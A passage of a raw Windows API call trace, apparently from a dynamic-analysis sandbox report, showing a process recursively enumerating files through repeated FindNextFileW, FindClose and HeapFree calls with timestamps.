out: lpFindFileData=0x33ceb94) returned 1 [0133.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.447] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.448] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0133.449] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0133.449] FindClose (in: hFindFile=0x3e5c518 | out: hFindFile=0x3e5c518) returned 1 [0133.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.449] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.481] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.483] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.483] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.485] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.487] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.487] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.488] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.488] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.490] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.492] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.523] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.523] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.525] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.711] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.757] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.757] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.759] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.759] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.763] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.763] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.766] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0133.766] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0133.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.766] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.766] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.823] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.823] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.824] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.824] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0133.825] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0133.825] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.825] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.828] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.830] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.830] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.835] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.835] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.836] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.836] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.837] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.837] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0133.837] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0133.837] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.837] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0133.837] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0133.837] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.837] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.846] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0133.846] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0133.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.846] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0133.850] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.850] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.852] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.852] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0133.852] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0133.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.852] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.854] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0133.854] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0133.855] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0133.855] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.855] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0133.855] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0133.855] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.855] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.857] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.857] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.859] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x44acfa0, Size=0x80000) returned 0x4fe6020 [0133.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.974] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0133.975] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.976] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0133.976] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0133.976] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.976] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.978] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0133.978] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.980] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.980] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0133.980] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0133.980] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0133.980] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0133.980] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0133.980] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0133.980] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0133.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0133.982] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0133.985] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0133.985] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0133.986] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0133.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0133.986] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.067] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.067] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.068] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0134.068] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0134.068] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.068] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.141] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.141] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.326] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0134.327] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.329] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.329] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.329] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.329] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.329] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.330] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.331] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.332] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.332] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.333] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.333] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, 